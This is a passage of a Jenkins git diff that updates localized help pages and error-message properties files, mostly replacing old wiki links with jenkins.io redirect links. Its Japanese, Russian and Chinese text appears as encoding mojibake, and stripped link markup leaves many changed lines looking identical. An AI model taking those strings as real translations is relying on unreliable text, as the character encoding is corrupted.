d'utiliser un trigger de type 'push' pour éviter cette surcharge, comme décrit dans - ce document. + ce document. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_ja.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_ja.html index 4be674d0a0..6e94ae93ca 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_ja.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_ja.html @@ -5,6 +5,6 @@ ãƒãƒ¼ãƒªãƒ³ã‚°æ¯Žã«ã€Jenkinsã¯ãƒ¯ãƒ¼ã‚¯ã‚¹ãƒšãƒ¼ã‚¹ã‚’スキャンã—ã¦ã‚µãƒ¼ãƒãƒ¼ã¨æ¤œè¨¼ã™ã‚‹å¿…è¦ãŒã‚ã‚‹ã®ã§ã€ CVSã«ã¨ã£ã¦è² è·ã®é«˜ã„æ“作ã¨ã„ã†ã“ã¨ã«æ³¨æ„ã—ã¦ãã ã•ã„。 ã“ã®ã‚ªãƒ¼ãƒãƒ¼ãƒ˜ãƒƒãƒ‰ã‚’é¿ã‘ã‚‹ãŸã‚ã«ã€ - ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã«ã‚るよã†ã«ã€ + ã“ã®ãƒ‰ã‚­ãƒ¥ãƒ¡ãƒ³ãƒˆã«ã‚るよã†ã«ã€ "push"トリガーã®è¨­å®šã‚’検討ã—ã¦ãã ã•ã„。 diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_pt_BR.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_pt_BR.html index ffbfbca42f..9de5639081 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_pt_BR.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_pt_BR.html @@ -5,5 +5,5 @@ Note que isto vai ser uma operação custosa para o CVS, como toda consulta requer que o Jenkins examine o workspace inteiro e verifique-o com o servidor. Considere configurar um disparador de construção periódico ("Construir periodicamente") para evitar esta sobrecarga, como descrito - nesta documentação + nesta documentação diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_ru.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_ru.html index 9b3a4a550f..459ed73f0c 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_ru.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_ru.html @@ -6,5 +6,5 @@ на SCM, так как каждый Ð¾Ð¿Ñ€Ð¾Ñ Ð¿Ñ€ÐµÐ´ÑтавлÑет Ñобой Ñканирование Ñборочной директории и Ñверка Ñодержимого Ñ Ð´Ð°Ð½Ð½Ñ‹Ð¼Ð¸ на Ñервере. Лучшим вариантом будет наÑтройка вашей SCM на инициацию Ñборки при внеÑении в неё изменений, как опиÑано - в Ñтом документе. + в Ñтом документе. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_tr.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_tr.html index a03b8733d0..f2fb31adf4 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_tr.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_tr.html @@ -4,6 +4,6 @@

                                                    Unutmayın, bu işlem CVS için biraz yüklü olacaktır, çünkü her kontrolde Jenkins tüm çalışma alanını tarayacak ve bunu CVS sunucusu ile karşılaştıracaktır. - Bunun yerine bu dokümanda anlatıldığı gibi + Bunun yerine bu dokümanda anlatıldığı gibi "push" tetikleyicisini ayarlayın. diff --git a/core/src/main/resources/hudson/triggers/SCMTrigger/help_zh_TW.html b/core/src/main/resources/hudson/triggers/SCMTrigger/help_zh_TW.html index ea6c91cd2d..75edc639e2 100644 --- a/core/src/main/resources/hudson/triggers/SCMTrigger/help_zh_TW.html +++ b/core/src/main/resources/hudson/triggers/SCMTrigger/help_zh_TW.html @@ -3,6 +3,6 @@

                                                    請注æ„ï¼Œé€™å° CVS 而言代價很高,æ¯æ¬¡è¼ªè©¢ Jenkins 都è¦æŽƒæ整個工作å€ï¼Œä¸¦èˆ‡ä¼ºæœå™¨æ¯”å°ã€‚ - 建議åƒè€ƒé€™ä»½æ–‡ä»¶è¨­å®š + 建議åƒè€ƒé€™ä»½æ–‡ä»¶è¨­å®š "push" 觸發程åºï¼Œé¿å…é¡å¤–負擔。 diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help.html index 2317422c31..2cfdb20b5c 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help.html @@ -11,7 +11,7 @@ this feature. However, the point of continuous integration is to start a build as soon as a change is made, to provide a quick feedback to the change. To do that you need to - hook up SCM change notification to Jenkins. + hook up SCM change notification to Jenkins.

                                                    So, before using this feature, stop and ask yourself if this is really what you want. diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_de.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_de.html index 24e6c7f233..446b3928a2 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_de.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_de.html @@ -12,7 +12,7 @@ kontinuierlichen Integration liegt jedoch darin, einen neuen Build zu starten, sobald eine Änderung im Code vorgenommen wurde, um möglichst schnell eine Rückmeldung zu bekommen. Dazu müssen sie eine - Änderungsabfrage (SCM change + Änderungsabfrage (SCM change notification) in Jenkins einrichten.

                                                    diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_fr.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_fr.html index 79a3de804c..f9566b43ff 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_fr.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_fr.html @@ -15,7 +15,7 @@ chaque changement dans la base de code, afin de donner un retour rapide sur ce changement. Pour cela, vous devez - associer la notification des changements de l'outil de gestion de version à Jenkins.. + associer la notification des changements de l'outil de gestion de version à Jenkins..

                                                    Donc, avant d'utiliser cette fonctionnalité, demandez-vous si c'est bien diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_ja.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_ja.html index f5f5393cff..a11c40031b 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_ja.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_ja.html @@ -10,7 +10,7 @@ ã“ã®æ©Ÿèƒ½ã‚’使用ã—ã¾ã™ã€‚ã—ã‹ã—ãªãŒã‚‰ã€ç¶™ç¶šçš„インテグレーションã®ãƒã‚¤ãƒ³ãƒˆã¯ã€ 変更ã—ãŸã‚‰ã™ãã«ãƒ“ルドを開始ã—ã€å¤‰æ›´ã¸ã®ãƒ•ã‚£ãƒ¼ãƒ‰ãƒãƒƒã‚¯ã‚’ã™ã°ã‚„ãã™ã‚‹ã“ã¨ã§ã™ã€‚ ãã†ã™ã‚‹ã«ã¯ã€ - SCMã®å¤‰æ›´é€šçŸ¥ã‚’Jenkinsã«ä¸­ç¶™ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚ + SCMã®å¤‰æ›´é€šçŸ¥ã‚’Jenkinsã«ä¸­ç¶™ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚

                                                    上記ã®é€šã‚Šã€ã“ã®æ©Ÿèƒ½ã‚’使用ã™ã‚‹å‰ã«ã€ã“ã®æ©Ÿèƒ½ãŒæœ¬å½“ã«ã‚ãªãŸãŒå¿…è¦ã¨ã™ã‚‹ã‚‚ã®ãªã®ã‹ã€ diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_pt_BR.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_pt_BR.html index b83f673b38..9c8cc68dba 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_pt_BR.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_pt_BR.html @@ -11,7 +11,7 @@ usam esta funcionalidade. Porém, o ponto principal da integração contínua é iniciar uma construção tão logo uma mudança seja feita, para fornecer um feedback rápido sobre a mudança. Para fazer isto você precisa - ligar a notificação de mudança do SCM ao Jenkins.. + ligar a notificação de mudança do SCM ao Jenkins..

                                                    Assim, antes de usar esta funcionalidade, pare e pergunte a si mesmo se isto é o que realmente você quer. diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_ru.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_ru.html index 91c0eb2289..28e0eece9b 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_ru.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_ru.html @@ -14,7 +14,7 @@ ࠧࠡ��稪��. �⮡� ��������� Jenkins �뫮 ������ ⠪��, ����ன� - �����饭�� �� ��஭� SCM. + �����饭�� �� ��஭� SCM.

                                                    ��������, ��। ⥬ ��� �ᯮ�짮���� ��� �㭪��, ��⠭������ � ���� ᥡ�, diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_tr.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_tr.html index b8782162b0..8d257bd71c 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_tr.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_tr.html @@ -10,7 +10,7 @@ planlanabilir. Bu özellik de bu amaç için kullanılabilse de, sürekli entegrasyonun asıl noktasının herhangi bir değişiklik olur olmaz yapılandırmanın başlatılması olduğu ve bu değişikliğe ait geri bildirimin çabucak verilmesi gerektiği unutulmamalıdır. - Bunun için SCM değişikliklerini Jenkins'a bildirecek mekanizmanın + Bunun için SCM değişikliklerini Jenkins'a bildirecek mekanizmanın ayarlanması gerekir.

                                                    Yani, bu özelliği kullanmadan önce yapmak istediğinizin bu yöntem ile mi yapılması gerektiğini sorgulayın. diff --git a/core/src/main/resources/hudson/triggers/TimerTrigger/help_zh_TW.html b/core/src/main/resources/hudson/triggers/TimerTrigger/help_zh_TW.html index 806fefbadd..0809ad1abb 100644 --- a/core/src/main/resources/hudson/triggers/TimerTrigger/help_zh_TW.html +++ b/core/src/main/resources/hudson/triggers/TimerTrigger/help_zh_TW.html @@ -6,7 +6,7 @@ 大家第一次接觸æŒçºŒæ•´åˆ (Continuous Integration; CI) 時,常會有 Nightly 或 Weekly 建置的刻æ¿å°è±¡ï¼Œèªç‚ºå°±è©²ç”¨é€™å€‹åŠŸèƒ½ç‚ºå»ºç½®æŒ‘個良辰å‰æ™‚。 但是,CI 的中心æ€æƒ³æ˜¯å€‹ä»...ä¸æ˜¯å•¦ï¼ŒCI 的中心æ€æƒ³æ˜¯åœ¨ç•°å‹•å¾Œç›¡å¿«å»ºç½®ï¼Œè®“大家馬上就能知é“這次變更所造æˆçš„影響。 - è¦é”到這個目的,å¯ä»¥è®“ SCM 在異動後主動通知 Jenkins。 + è¦é”到這個目的,å¯ä»¥è®“ SCM 在異動後主動通知 Jenkins。

                                                    所以,在使用這個功能å‰ï¼Œå…ˆåœä¸‹ä¾†å•å•è‡ªå·±: 「我到底想è¦å¹¹å˜›?〠diff --git a/core/src/main/resources/hudson/util/AWTProblem/index.properties b/core/src/main/resources/hudson/util/AWTProblem/index.properties index af43e1ac98..817ba2c967 100644 --- a/core/src/main/resources/hudson/util/AWTProblem/index.properties +++ b/core/src/main/resources/hudson/util/AWTProblem/index.properties @@ -20,4 +20,4 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -errorMessage=AWT is not properly configured on this server. Perhaps you need to run your container with "-Djava.awt.headless=true"? See also: https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+got+java.awt.headless+problem +errorMessage=AWT is not properly configured on this server. Perhaps you need to run your container with "-Djava.awt.headless=true"? See also: https://jenkins.io/redirect/troubleshooting/java.awt.headless diff --git a/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties b/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties index 0740e9258c..41e88a682a 100644 --- a/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties +++ b/core/src/main/resources/hudson/util/AWTProblem/index_sr.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors Error=\u0413\u0440\u0435\u0448\u043A\u0430 -errorMessage=AWT \u043D\u0438\u0458\u0435 \u043F\u0440\u0430\u0432\u0438\u043B\u043D\u043E \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E \u043D\u0430 \u043E\u0432\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438. \u041C\u043E\u0436\u0434\u0430 \u0431\u0438 \u0442\u0440\u0435\u0431\u0430\u043B\u0438 \u043F\u043E\u0447\u0435\u0442\u0438 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0435 \u0441\u0430 \u043E\u043F\u0446\u0438\u0458\u043E\u043C "-Djava.awt.headless=true"? \u0418\u0441\u0442\u043E \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435: https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+got+java.awt.headless+problem +errorMessage=AWT \u043D\u0438\u0458\u0435 \u043F\u0440\u0430\u0432\u0438\u043B\u043D\u043E \u043F\u043E\u0441\u0442\u0430\u0432\u0459\u0435\u043D\u043E \u043D\u0430 \u043E\u0432\u043E\u0458 \u043C\u0430\u0448\u0438\u043D\u0438. \u041C\u043E\u0436\u0434\u0430 \u0431\u0438 \u0442\u0440\u0435\u0431\u0430\u043B\u0438 \u043F\u043E\u0447\u0435\u0442\u0438 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0435 \u0441\u0430 \u043E\u043F\u0446\u0438\u0458\u043E\u043C "-Djava.awt.headless=true"? \u0418\u0441\u0442\u043E \u043F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435: https://jenkins.io/redirect/troubleshooting/java.awt.headless diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index.properties index 2b3a036350..e9337d5940 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index.properties @@ -29,5 +29,5 @@ errorMessage.1=\ way to fix the problem is simply to turn the security manager off. errorMessage.2=\ For how to turn off security manager in your container, refer to \ - \ + \ Container-specific documentations of Jenkins. diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties index c9a9967892..80bf4d8187 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_de.properties @@ -29,5 +29,5 @@ errorMessage.1=\ Manager" ist), ist es am Einfachsten, den Security Manager abzuschalten. errorMessage.2=\ Wie Sie den Security Manager Ihres Web-Containers abschalten, entnehmen Sie \ - der containerspezifischen \ + der containerspezifischen \ Jenkins-Dokumentation. diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_es.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_es.properties index 066f6b967b..ec945dcc86 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_es.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_es.properties @@ -24,7 +24,7 @@ errorMessage.1=\ Se ha detectado que Jenkins no tiene suficientes permisos para ejecutarse. \ Probablemente pueda ser que el ''security manager'' de tu contenedor de ''servlet'' esté activado. errorMessage.2=\ - Echa un vistazo a \ + Echa un vistazo a \ Container-specific documentations para saber cómo desactivar esta restricción. Error=Error diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_ja.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_ja.properties index 8679692170..ae3a871167 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_ja.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_ja.properties @@ -29,5 +29,5 @@ errorMessage.1=\ \u30BB\u30AD\u30E5\u30EA\u30C6\u30A3\u30DE\u30CD\u30FC\u30B8\u30E3\u30FC\u3092\u7121\u52B9\u306B\u3057\u3066\u3057\u307E\u3046\u306E\u304C\u4E00\u756A\u7C21\u5358\u3067\u3059\u3002 errorMessage.2=\ \u4F7F\u7528\u3057\u3066\u3044\u308B\u30B3\u30F3\u30C6\u30CA\u30FC\u3067\u306E\u30BB\u30AD\u30E5\u30EA\u30C6\u30A3\u30DE\u30CD\u30FC\u30B8\u30E3\u30FC\u306E\u7121\u52B9\u5316\u306E\u65B9\u6CD5 \u306B\u3064\u3044\u3066\u306F\u3001\ - \ + \ Container-specific documentations\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_pt_BR.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_pt_BR.properties index c1090b7185..2f5904304a 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_pt_BR.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_pt_BR.properties @@ -34,7 +34,7 @@ de seguran\u00e7a, poder\u00e1 desativ\u00e1-lo. Error=Erro # \ # For how to turn off security manager in your container, refer to \ -# \ +# \ # Container-specific documentations of Jenkins. errorMessage.2=Para desativar o gerenciador de seguran\u00e7a, \ Documenta\u00e7\u00e3o especifica sobre containers do Jenkins diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties index a3def1735b..011f3bd612 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_sr.properties @@ -3,6 +3,6 @@ Error=\u0413\u0440\u0435\u0448\u043A\u0430 errorMessage.1=Jenkins je \u043E\u0442\u043A\u0440\u0438o \u0434\u0430 \u043D\u0435\u043C\u0430 \u043E\u0432\u043B\u0430\u0448\u045B\u0435\u045A\u0435 \u0434\u0430 \u0441\u0435 \u0438\u0437\u0432\u0440\u0448\u0430\u0432\u0430, \u0435\u0432\u0438\u0434\u0435\u043D\u0442\u0438\u0440\u0430\u043D\u043E \u043F\u0440\u0430\u0442\u0435\u045B\u043E\u0458 \u0442\u0440\u0430\u0441\u0438 \u0441\u0442\u0435\u043A\u043E\u043C. \u0412\u0435\u0440\u043E\u0432\u0430\u0442\u043D\u043E \u0458\u0435 \u0437\u0431\u043E\u0433 \u043D\u0435\u043A\u043E\u0433 \u043D\u0430\u0434\u0437\u043E\u0440\u043D\u043E\u0433 \u043F\u0440\u043E\u0433\u0440\u0430\u043C\u0430, \u043A\u043E\u0458\u0438 \u0431\u0438 \u0442\u0440\u0435\u0431\u043E \u0434\u0430 \u0441\u0435 \u043F\u043E\u0434\u0435\u0441\u0438 \u0438\u043B\u0438 \u0438\u0441\u043A\u0459\u0443\u0447\u0438. errorMessage.2=\u0423\u043F\u0443\u0441\u0442\u0432\u043E \u043A\u0430\u043A\u043E \u0443\u0433\u0430\u0441\u0438\u0442\u0438 security manager \u0443 \u0432\u0430\u0448\u0435\u043C \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0443 \u0441\u0435 \u043D\u0430\u043B\u0430\u0437\u0438 \u0443 \u0447\u043B\u0430\u043D\u043A\u0443 \ - \ + \ \u0414\u043E\u043A\u0443\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0430 \u043A\u043E\u043D\u0442\u0435\u0458\u043D\u0435\u0440\u0430 \u0443 Jenkins-\u0443. de= diff --git a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_zh_TW.properties b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_zh_TW.properties index ba7f9a6ded..dd369fb349 100644 --- a/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_zh_TW.properties +++ b/core/src/main/resources/hudson/util/InsufficientPermissionDetected/index_zh_TW.properties @@ -28,5 +28,5 @@ errorMessage.1=\ \u8981\u662f\u60a8\u9023 Security Manager \u662f\u4ec0\u9ebc\u90fd\u4e0d\u77e5\u9053\uff0c\u6700\u7c21\u55ae\u7684\u8655\u7406\u65b9\u6cd5\u5c31\u662f\u628a\u5b83\u95dc\u6389\u3002 errorMessage.2=\ \u95dc\u9589\u60a8 Container \u7684 Security Manager \u7684\u65b9\u6cd5\u53ef\u4ee5\u53c3\u8003 Jenkins \u7684 \ - \ + \ Container \u76f8\u95dc\u6587\u4ef6\u3002 diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index.properties index ddf728cf83..cf8fe45ca3 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index.properties @@ -21,4 +21,4 @@ # THE SOFTWARE. blurb=Another instance of JNA is already loaded in another classloader, thereby making it impossible for Jenkins \ - to load its own copy. See Wiki for more details. + to load its own copy. See Wiki for more details. diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_de.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_de.properties index 1db31ab5b9..c043e4f426 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_de.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_de.properties @@ -24,5 +24,5 @@ Failed\ to\ load\ JNA=Java Native Access (JNA) konnte nicht geladen werden blurb=\ Eine JNA-Instanz wurde bereits von einem anderen Classloader geladen. \ Dies hindert Jenkins daran, seine eigene JNA-Instanz zu laden. \ - Mehr... + Mehr... diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_es.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_es.properties index abf2dd43d0..f04bc938f6 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_es.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_es.properties @@ -21,5 +21,5 @@ # THE SOFTWARE. blurb=Otra instancia de JNA está en ejecución, echa un vistazo a esta \ - pagina para ver mas detalles. + pagina para ver mas detalles. Failed\ to\ load\ JNA=Fallo al cargar JNA diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_ja.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_ja.properties index de457be680..fb66f542ea 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_ja.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_ja.properties @@ -22,4 +22,4 @@ Failed\ to\ load\ JNA=Java Native Access (JNA) \u306E\u30ED\u30FC\u30C9\u306B\u5931\u6557\u3057\u307E\u3057\u305F\u3002 blurb=\u5225\u306E\u30AF\u30E9\u30B9\u30ED\u30FC\u30C0\u30FC\u304CJNA\u306E\u30A4\u30F3\u30B9\u30BF\u30F3\u30B9\u3092\u65E2\u306B\u30ED\u30FC\u30C9\u3057\u3066\u3044\u307E\u3059\u3002\u305D\u306E\u305F\u3081\u3001Jenkins\u304C\u30ED\u30FC\u30C9\u3059\u308B\u3053\u3068\u304C\u3067\u304D\u307E\u305B\u3093\u3002\ - \u8A73\u7D30\u306F\u3001Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 + \u8A73\u7D30\u306F\u3001Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_pt_BR.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_pt_BR.properties index 02cc07bbda..8238947faa 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_pt_BR.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_pt_BR.properties @@ -22,6 +22,6 @@ Failed\ to\ load\ JNA= # Another instance of JNA is already loaded in another classloader, thereby making it impossible for Jenkins \ -# to load its own copy. See Wiki for more details. +# to load its own copy. See Wiki for more details. blurb=Outra inst\u00e2ncia do JNA j\u00e1 est\u00e1 carregada em outro Classloader, impossibilitando ao Jenkins \ diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties index a774b7e8f9..89c5a8befb 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_sr.properties @@ -1,4 +1,4 @@ # This file is under the MIT License by authors Failed\ to\ load\ JNA=\u041D\u0438\u0458\u0435 \u043C\u043E\u0433\u043B\u043E \u0443\u0447\u0438\u0442\u0430\u0442\u0438 JNA -blurb=\u0414\u0440\u0443\u0433\u0430 \u0438\u043D\u0441\u0442\u0430\u043D\u0446\u0430 JNA \u0458\u0435 \u0432\u0435\u045B \u0443\u0447\u0438\u0442\u0430\u043D\u0430 \u0443 classloader, \u043F\u043E\u0442\u043E\u043C Jenkins \u043D\u0435\u043C\u043E\u0436\u0435 \u0443\u0447\u0438\u0442\u0430\u0442\u0438 \u0441\u0432\u043E\u0458\u0443 \u043A\u043E\u043F\u0438\u0458\u0443. \u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0412\u0438\u043A\u0438 \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. +blurb=\u0414\u0440\u0443\u0433\u0430 \u0438\u043D\u0441\u0442\u0430\u043D\u0446\u0430 JNA \u0458\u0435 \u0432\u0435\u045B \u0443\u0447\u0438\u0442\u0430\u043D\u0430 \u0443 classloader, \u043F\u043E\u0442\u043E\u043C Jenkins \u043D\u0435\u043C\u043E\u0436\u0435 \u0443\u0447\u0438\u0442\u0430\u0442\u0438 \u0441\u0432\u043E\u0458\u0443 \u043A\u043E\u043F\u0438\u0458\u0443. \u041F\u0440\u0435\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 \u0412\u0438\u043A\u0438 \u0437\u0430 \u0432\u0438\u0448\u0435 \u0434\u0435\u0442\u0430\u0459\u0430. diff --git a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_zh_TW.properties b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_zh_TW.properties index 7508e81be4..9d12da7613 100644 --- a/core/src/main/resources/hudson/util/JNADoublyLoaded/index_zh_TW.properties +++ b/core/src/main/resources/hudson/util/JNADoublyLoaded/index_zh_TW.properties @@ -23,4 +23,4 @@ Failed\ to\ load\ JNA=JNA \u8f09\u5165\u5931\u6557 blurb=\ \u5df2\u7d93\u6709\u5176\u4ed6 ClassLoader \u8f09\u5165\u4e86 JNA\uff0cJenkins \u56e0\u6b64\u7121\u6cd5\u8f09\u5165\u81ea\u5df1\u7684\u7248\u672c\u3002\ - \u8acb\u53c3\u8003 Wiki \u4e0a\u7684\u8a73\u7d30\u8cc7\u6599\u3002 + \u8acb\u53c3\u8003 Wiki \u4e0a\u7684\u8a73\u7d30\u8cc7\u6599\u3002 diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index.properties b/core/src/main/resources/hudson/util/NoHomeDir/index.properties index e389ec998a..c54b6adbcc 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index.properties @@ -25,6 +25,6 @@ errorMessage.1=\ errorMessage.2=\ To change the home directory, use JENKINS_HOME environment variable or set the \ JENKINS_HOME system property. \ - See Container-specific documentation \ + See Container-specific documentation \ for more details of how to do this. diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties index 05f9fe5256..df884cff84 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_de.properties @@ -27,6 +27,6 @@ errorMessage.1=\ errorMessage.2=\ Um das Stammverzeichnis zu ändern, verwenden Sie die Umgebungsvariable JENKINS_HOME \ oder die Java-Systemeigenschaft JENKINS_HOME. Weitere Details entnehmen Sie \ - der containerspezifischen \ + der containerspezifischen \ Jenkins-Dokumentation. diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_es.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_es.properties index 3aa1b32d84..2cdd09a469 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_es.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_es.properties @@ -24,6 +24,6 @@ errorMessage.1=\ No fué posible crear el directorio principal ''{0}''. Normalmente es un problema de permisos. errorMessage.2=\ Para cambiar el directorio principal usa la variable de entorno JENKINS_HOME \ - Tienes mas detalles de cómo hacerlo en: Container-specific documentation + Tienes mas detalles de cómo hacerlo en: Container-specific documentation Error=Error diff --git a/core/src/main/resources/hudson/util/NoHomeDir/index_ja.properties b/core/src/main/resources/hudson/util/NoHomeDir/index_ja.properties index 253da02eef..9a4622cb1c 100644 --- a/core/src/main/resources/hudson/util/NoHomeDir/index_ja.properties +++ b/core/src/main/resources/hudson/util/NoHomeDir/index_ja.properties @@ -26,7 +26,7 @@ errorMessage.1=\ errorMessage.2=\ \u30DB\u30FC\u30E0\u30C7\u30A3\u30EC\u30AF\u30C8\u30EA\u3092\u5909\u66F4\u3059\u308B\u306B\u306F\u3001\u74B0\u5883\u5909\u6570\u306EJENKINS_HOME\u304B\u3001\u30B7\u30B9\u30C6\u30E0\u30D7\u30ED\u30D1\u30C6\u30A3\u306E \ 